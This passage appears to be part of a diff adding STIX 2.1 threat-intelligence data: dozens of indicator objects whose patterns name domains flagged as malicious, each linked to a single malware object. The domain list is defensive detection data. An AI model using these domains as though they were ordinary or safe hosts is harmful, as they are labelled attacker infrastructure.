"indicator--437cab7c-df91-4b79-ba20-a3ce62df0e9c", + "created": "2023-03-29T12:58:44.700769Z", + "modified": "2023-03-29T12:58:44.700769Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bringretool.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.700769Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d30714a8-acbd-4f92-a304-4c8db3ec5630", + "created": "2023-03-29T12:58:44.701473Z", + "modified": "2023-03-29T12:58:44.701473Z", + "relationship_type": "indicates", + "source_ref": "indicator--437cab7c-df91-4b79-ba20-a3ce62df0e9c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3d5ee9d7-0401-4fbf-826d-04dcc8277b0c", + "created": "2023-03-29T12:58:44.701652Z", + "modified": "2023-03-29T12:58:44.701652Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='threesilos.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.701652Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--acfb4fa1-e482-40fc-9d63-72b6c718252f", + "created": "2023-03-29T12:58:44.702243Z", + "modified": "2023-03-29T12:58:44.702243Z", + "relationship_type": "indicates", + "source_ref": "indicator--3d5ee9d7-0401-4fbf-826d-04dcc8277b0c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--63edd374-7365-49bc-8738-5474946814eb", + "created": "2023-03-29T12:58:44.702411Z", + "modified": "2023-03-29T12:58:44.702411Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trekkereggnog.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.702411Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--57c206e8-04a0-461e-af62-4b96e1a4b07e", + "created": "2023-03-29T12:58:44.702998Z", + "modified": "2023-03-29T12:58:44.702998Z", + "relationship_type": "indicates", + "source_ref": "indicator--63edd374-7365-49bc-8738-5474946814eb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8589b4ed-9948-415e-aff1-d5157ce2d7ed", + "created": "2023-03-29T12:58:44.703164Z", + "modified": "2023-03-29T12:58:44.703164Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ratingcool.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.703164Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6dc242f7-eadd-474a-9272-270d7e999b2d", + "created": "2023-03-29T12:58:44.703773Z", + "modified": "2023-03-29T12:58:44.703773Z", + "relationship_type": "indicates", + "source_ref": "indicator--8589b4ed-9948-415e-aff1-d5157ce2d7ed", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d4da737a-985b-4663-8cd5-c3a335e3a4ac", + "created": "2023-03-29T12:58:44.703944Z", + "modified": "2023-03-29T12:58:44.703944Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ribbonauthor.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.703944Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0e78c8c7-20f6-41a1-939e-aa8223c6f047", + "created": "2023-03-29T12:58:44.704538Z", + "modified": "2023-03-29T12:58:44.704538Z", + "relationship_type": "indicates", + "source_ref": "indicator--d4da737a-985b-4663-8cd5-c3a335e3a4ac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d78b030e-5374-4726-957d-07db7a0a640d", + "created": "2023-03-29T12:58:44.704707Z", + "modified": "2023-03-29T12:58:44.704707Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ruraldomestic.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.704707Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e982cc41-3ac7-46c0-afbb-4e0a17e98c95", + "created": "2023-03-29T12:58:44.705307Z", + "modified": "2023-03-29T12:58:44.705307Z", + "relationship_type": "indicates", + "source_ref": "indicator--d78b030e-5374-4726-957d-07db7a0a640d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a5e09cac-9acd-43d0-a0c6-d9dd32d18e1b", + "created": "2023-03-29T12:58:44.705475Z", + "modified": "2023-03-29T12:58:44.705475Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='currentcalc.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.705475Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6c0de3cb-3ab9-4e63-967b-4be0f55d291c", + "created": "2023-03-29T12:58:44.706068Z", + "modified": "2023-03-29T12:58:44.706068Z", + "relationship_type": "indicates", + "source_ref": "indicator--a5e09cac-9acd-43d0-a0c6-d9dd32d18e1b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6712f4eb-6b37-492c-baef-25e722fcc8e1", + "created": "2023-03-29T12:58:44.70624Z", + "modified": "2023-03-29T12:58:44.70624Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='worshiperborrower.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.70624Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--79558a28-9a5a-4cf3-83b2-2399637f8a3a", + "created": "2023-03-29T12:58:44.706839Z", + "modified": "2023-03-29T12:58:44.706839Z", + "relationship_type": "indicates", + "source_ref": "indicator--6712f4eb-6b37-492c-baef-25e722fcc8e1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--234141b1-3d4a-45b1-b1be-e30806626d5d", + "created": "2023-03-29T12:58:44.707007Z", + "modified": "2023-03-29T12:58:44.707007Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pikiran-ratyat.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.707007Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5da846cc-ad8c-4582-a962-f33f2be04845", + "created": "2023-03-29T12:58:44.707601Z", + "modified": "2023-03-29T12:58:44.707601Z", + "relationship_type": "indicates", + "source_ref": "indicator--234141b1-3d4a-45b1-b1be-e30806626d5d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3de0d8f5-9fd4-4f3a-b349-34441998ae06", + "created": "2023-03-29T12:58:44.707769Z", + "modified": "2023-03-29T12:58:44.707769Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yellowgardens.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.707769Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f3c1ea02-3c98-40c4-8ac6-6b8aed8fce48", + "created": "2023-03-29T12:58:44.708573Z", + "modified": "2023-03-29T12:58:44.708573Z", + "relationship_type": "indicates", + "source_ref": "indicator--3de0d8f5-9fd4-4f3a-b349-34441998ae06", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8aeae506-c2db-462f-a7bf-7acb53e9a2d9", + "created": "2023-03-29T12:58:44.708753Z", + "modified": "2023-03-29T12:58:44.708753Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='waterunease.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.708753Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--209e315a-d819-4aab-901d-e5e6df575b43", + "created": "2023-03-29T12:58:44.709347Z", + "modified": "2023-03-29T12:58:44.709347Z", + "relationship_type": "indicates", + "source_ref": "indicator--8aeae506-c2db-462f-a7bf-7acb53e9a2d9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--925fd2a5-36bd-4aa6-8791-730aec181dd6", + "created": "2023-03-29T12:58:44.709516Z", + "modified": "2023-03-29T12:58:44.709516Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='childlesssketch.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.709516Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--53fbdd72-c23a-4c47-98d8-ccfc607767f7", + "created": "2023-03-29T12:58:44.71012Z", + "modified": "2023-03-29T12:58:44.71012Z", + "relationship_type": "indicates", + "source_ref": "indicator--925fd2a5-36bd-4aa6-8791-730aec181dd6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c3dff841-44c8-497e-be1b-755b3b239f68", + "created": "2023-03-29T12:58:44.710288Z", + "modified": "2023-03-29T12:58:44.710288Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='overcastscientist.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.710288Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--43740f60-41b7-489a-a0ea-58ff42271c39", + "created": "2023-03-29T12:58:44.71089Z", + "modified": "2023-03-29T12:58:44.71089Z", + "relationship_type": "indicates", + "source_ref": "indicator--c3dff841-44c8-497e-be1b-755b3b239f68", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--58a361d4-428b-4904-9d3d-6cec0640f17e", + "created": "2023-03-29T12:58:44.711059Z", + "modified": "2023-03-29T12:58:44.711059Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='equatoranemia.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.711059Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--82461f55-9e18-4fff-955d-0817fb81a9af", + "created": "2023-03-29T12:58:44.711653Z", + "modified": "2023-03-29T12:58:44.711653Z", + "relationship_type": "indicates", + "source_ref": "indicator--58a361d4-428b-4904-9d3d-6cec0640f17e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1174dc3e-3218-42b4-8770-9b7a7cc6f239", + "created": "2023-03-29T12:58:44.711822Z", + "modified": "2023-03-29T12:58:44.711822Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='corneayonder.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.711822Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f8c15529-ae18-47fc-a25b-6c2786bba12e", + "created": "2023-03-29T12:58:44.712419Z", + "modified": "2023-03-29T12:58:44.712419Z", + "relationship_type": "indicates", + "source_ref": "indicator--1174dc3e-3218-42b4-8770-9b7a7cc6f239", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6343af52-52cc-4ffe-ac8b-1063006739f3", + "created": "2023-03-29T12:58:44.712588Z", + "modified": "2023-03-29T12:58:44.712588Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='feastmonthly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.712588Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cf505295-34ca-46c3-a9de-34ce2ee62760", + "created": "2023-03-29T12:58:44.71318Z", + "modified": "2023-03-29T12:58:44.71318Z", + "relationship_type": "indicates", + "source_ref": "indicator--6343af52-52cc-4ffe-ac8b-1063006739f3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2d379a41-d2fe-4c5f-9a32-d4922b3e9772", + "created": "2023-03-29T12:58:44.713347Z", + "modified": "2023-03-29T12:58:44.713347Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crazedoak.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.713347Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4cf1dd66-b129-4b85-8d2f-ea5a01f9fa05", + "created": "2023-03-29T12:58:44.713942Z", + "modified": "2023-03-29T12:58:44.713942Z", + "relationship_type": "indicates", + "source_ref": "indicator--2d379a41-d2fe-4c5f-9a32-d4922b3e9772", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a44b1c8b-3e26-467f-85d4-1b73d3f59e36", + "created": "2023-03-29T12:58:44.714112Z", + "modified": "2023-03-29T12:58:44.714112Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sectionaldaredevil.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.714112Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6650ca8a-7449-439f-9f7e-c522f821306f", + "created": "2023-03-29T12:58:44.714711Z", + "modified": "2023-03-29T12:58:44.714711Z", + "relationship_type": "indicates", + "source_ref": "indicator--a44b1c8b-3e26-467f-85d4-1b73d3f59e36", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a6ec15d2-69b0-4f1f-83ae-818fafd3ac5a", + "created": "2023-03-29T12:58:44.714881Z", + "modified": "2023-03-29T12:58:44.714881Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='althoughslot.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.714881Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--820a72f2-379d-4d77-9d86-c1811f8f4e9c", + "created": "2023-03-29T12:58:44.715864Z", + "modified": "2023-03-29T12:58:44.715864Z", + "relationship_type": "indicates", + "source_ref": "indicator--a6ec15d2-69b0-4f1f-83ae-818fafd3ac5a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--353c40d0-7e2a-489b-9d5c-45aaa0a270e1", + "created": "2023-03-29T12:58:44.716037Z", + "modified": "2023-03-29T12:58:44.716037Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='skyshow.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.716037Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--df278f27-0a43-45c0-80da-53ec555ad302", + "created": "2023-03-29T12:58:44.716623Z", + "modified": "2023-03-29T12:58:44.716623Z", + "relationship_type": "indicates", + "source_ref": "indicator--353c40d0-7e2a-489b-9d5c-45aaa0a270e1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--007edeb5-e680-4fe9-ae15-468d0aabc142", + "created": "2023-03-29T12:58:44.716793Z", + "modified": "2023-03-29T12:58:44.716793Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tantrumhandpick.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.716793Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--342555a7-94bf-43ee-9b4d-8cf1420e1646", + "created": "2023-03-29T12:58:44.717389Z", + "modified": "2023-03-29T12:58:44.717389Z", + "relationship_type": "indicates", + "source_ref": "indicator--007edeb5-e680-4fe9-ae15-468d0aabc142", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--80ae028b-b90a-4efe-8a5f-438648eb3c57", + "created": "2023-03-29T12:58:44.717564Z", + "modified": "2023-03-29T12:58:44.717564Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tributaryoxygen.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.717564Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bb0b29c4-fe3c-491d-81e5-290d74440f86", + "created": "2023-03-29T12:58:44.71816Z", + "modified": "2023-03-29T12:58:44.71816Z", + "relationship_type": "indicates", + "source_ref": "indicator--80ae028b-b90a-4efe-8a5f-438648eb3c57", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eb976c1c-9844-4886-8b57-1c5845ca7022", + "created": "2023-03-29T12:58:44.718329Z", + "modified": "2023-03-29T12:58:44.718329Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scratchseries.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.718329Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c4d90184-2c90-4dff-92df-367b441dac4a", + "created": "2023-03-29T12:58:44.71892Z", + "modified": "2023-03-29T12:58:44.71892Z", + "relationship_type": "indicates", + "source_ref": "indicator--eb976c1c-9844-4886-8b57-1c5845ca7022", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cafd8315-759d-4bff-8674-783e72e01420", + "created": "2023-03-29T12:58:44.719088Z", + "modified": "2023-03-29T12:58:44.719088Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tropicalalmanac.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.719088Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e72aee6d-b33f-41ba-a398-649969c8c268", + "created": "2023-03-29T12:58:44.719681Z", + "modified": "2023-03-29T12:58:44.719681Z", + "relationship_type": "indicates", + "source_ref": "indicator--cafd8315-759d-4bff-8674-783e72e01420", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c428c017-daca-4040-aa3f-accecdbe85d1", + "created": "2023-03-29T12:58:44.719856Z", + "modified": "2023-03-29T12:58:44.719856Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='elaborateoutmatch.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.719856Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dc324b27-bb89-4474-8262-6d25b6459cf7", + "created": "2023-03-29T12:58:44.720452Z", + "modified": "2023-03-29T12:58:44.720452Z", + "relationship_type": "indicates", + "source_ref": "indicator--c428c017-daca-4040-aa3f-accecdbe85d1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0e0800bc-5976-41da-8fcd-58089811228a", + "created": "2023-03-29T12:58:44.720621Z", + "modified": "2023-03-29T12:58:44.720621Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unknownupfront.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.720621Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c2b10a22-b2f5-4a81-8150-401e5db9f55b", + "created": "2023-03-29T12:58:44.721207Z", + "modified": "2023-03-29T12:58:44.721207Z", + "relationship_type": "indicates", + "source_ref": "indicator--0e0800bc-5976-41da-8fcd-58089811228a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--199c21b1-6a94-46dd-8362-394e6fda968c", + "created": "2023-03-29T12:58:44.721375Z", + "modified": "2023-03-29T12:58:44.721375Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='retaliatecamper.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.721375Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--abc29e26-7fe5-4a12-a31a-37a55dc24abc", + "created": "2023-03-29T12:58:44.721971Z", + "modified": "2023-03-29T12:58:44.721971Z", + "relationship_type": "indicates", + "source_ref": "indicator--199c21b1-6a94-46dd-8362-394e6fda968c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3b1ac48b-1559-4bbe-a5cc-f9d6bdd74e97", + "created": "2023-03-29T12:58:44.722139Z", + "modified": "2023-03-29T12:58:44.722139Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lessercollage.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.722139Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--095bb8d3-8452-42e7-88de-d8b4cdffccb5", + "created": "2023-03-29T12:58:44.722724Z", + "modified": "2023-03-29T12:58:44.722724Z", + "relationship_type": "indicates", + "source_ref": "indicator--3b1ac48b-1559-4bbe-a5cc-f9d6bdd74e97", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ed8beaca-96d9-4f27-a859-1c5336a1eff0", + "created": "2023-03-29T12:58:44.72289Z", + "modified": "2023-03-29T12:58:44.72289Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='traversehardwood.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.72289Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--595690d2-e47d-4a5c-b6e0-c644d18327d5", + "created": "2023-03-29T12:58:44.723608Z", + "modified": "2023-03-29T12:58:44.723608Z", + "relationship_type": "indicates", + "source_ref": "indicator--ed8beaca-96d9-4f27-a859-1c5336a1eff0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f0b66f0e-dd22-4da1-86eb-0868801fa02d", + "created": "2023-03-29T12:58:44.723781Z", + "modified": "2023-03-29T12:58:44.723781Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pantsaxis.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.723781Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--07d7775b-1162-47fe-a72e-983dba2ad9fc", + "created": "2023-03-29T12:58:44.724371Z", + "modified": "2023-03-29T12:58:44.724371Z", + "relationship_type": "indicates", + "source_ref": "indicator--f0b66f0e-dd22-4da1-86eb-0868801fa02d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2fe79315-968a-4cdb-af18-931eb60bc54f", + "created": "2023-03-29T12:58:44.724551Z", + "modified": "2023-03-29T12:58:44.724551Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='uncrossangriness.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.724551Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--55c8da64-08cd-4a1c-8845-7202683d02d4", + "created": "2023-03-29T12:58:44.725145Z", + "modified": "2023-03-29T12:58:44.725145Z", + "relationship_type": "indicates", + "source_ref": "indicator--2fe79315-968a-4cdb-af18-931eb60bc54f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--276beaa3-b462-4b7d-bf86-6a81c308da82", + "created": "2023-03-29T12:58:44.725312Z", + "modified": "2023-03-29T12:58:44.725312Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='konpas.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.725312Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f83b2285-ef0c-4b15-8b9b-c0078805847b", + "created": "2023-03-29T12:58:44.725895Z", + "modified": "2023-03-29T12:58:44.725895Z", + "relationship_type": "indicates", + "source_ref": "indicator--276beaa3-b462-4b7d-bf86-6a81c308da82", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--006ae736-21c2-4b7f-b069-923060ef5fd2", + "created": "2023-03-29T12:58:44.726063Z", + "modified": "2023-03-29T12:58:44.726063Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stackedmouses.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.726063Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0b56e7a1-09fc-4b2e-8029-a190599dccc9", + "created": "2023-03-29T12:58:44.726658Z", + "modified": "2023-03-29T12:58:44.726658Z", + "relationship_type": "indicates", + "source_ref": "indicator--006ae736-21c2-4b7f-b069-923060ef5fd2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--398db324-c9e5-40e1-b386-2e4050e57283", + "created": "2023-03-29T12:58:44.726828Z", + "modified": "2023-03-29T12:58:44.726828Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='diligentthose.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.726828Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--022220c3-0646-405d-9e8b-1adf3ff8333e", + "created": "2023-03-29T12:58:44.727421Z", + "modified": "2023-03-29T12:58:44.727421Z", + "relationship_type": "indicates", + "source_ref": "indicator--398db324-c9e5-40e1-b386-2e4050e57283", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d074c990-247f-4f12-825c-27038b307c60", + "created": "2023-03-29T12:58:44.72759Z", + "modified": "2023-03-29T12:58:44.72759Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='profileprofessed.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.72759Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0d984e67-4bef-49c3-bb55-956996587d19", + "created": "2023-03-29T12:58:44.728184Z", + "modified": "2023-03-29T12:58:44.728184Z", + "relationship_type": "indicates", + "source_ref": "indicator--d074c990-247f-4f12-825c-27038b307c60", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3175820c-bdd7-4333-9df8-a6c7304a6320", + "created": "2023-03-29T12:58:44.728352Z", + "modified": "2023-03-29T12:58:44.728352Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pulverizespherical.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.728352Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8f749077-fcc7-42d1-a7fa-2a0c665bae7b", + "created": "2023-03-29T12:58:44.728953Z", + "modified": "2023-03-29T12:58:44.728953Z", + "relationship_type": "indicates", + "source_ref": "indicator--3175820c-bdd7-4333-9df8-a6c7304a6320", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--45fe0bcd-bc11-4ea6-8dc3-a891f4eb5997", + "created": "2023-03-29T12:58:44.729122Z", + "modified": "2023-03-29T12:58:44.729122Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='reassignparasail.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.729122Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ddb1b34f-5b5f-4677-a5f8-9564789b0af1", + "created": "2023-03-29T12:58:44.729721Z", + "modified": "2023-03-29T12:58:44.729721Z", + "relationship_type": "indicates", + "source_ref": "indicator--45fe0bcd-bc11-4ea6-8dc3-a891f4eb5997", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": 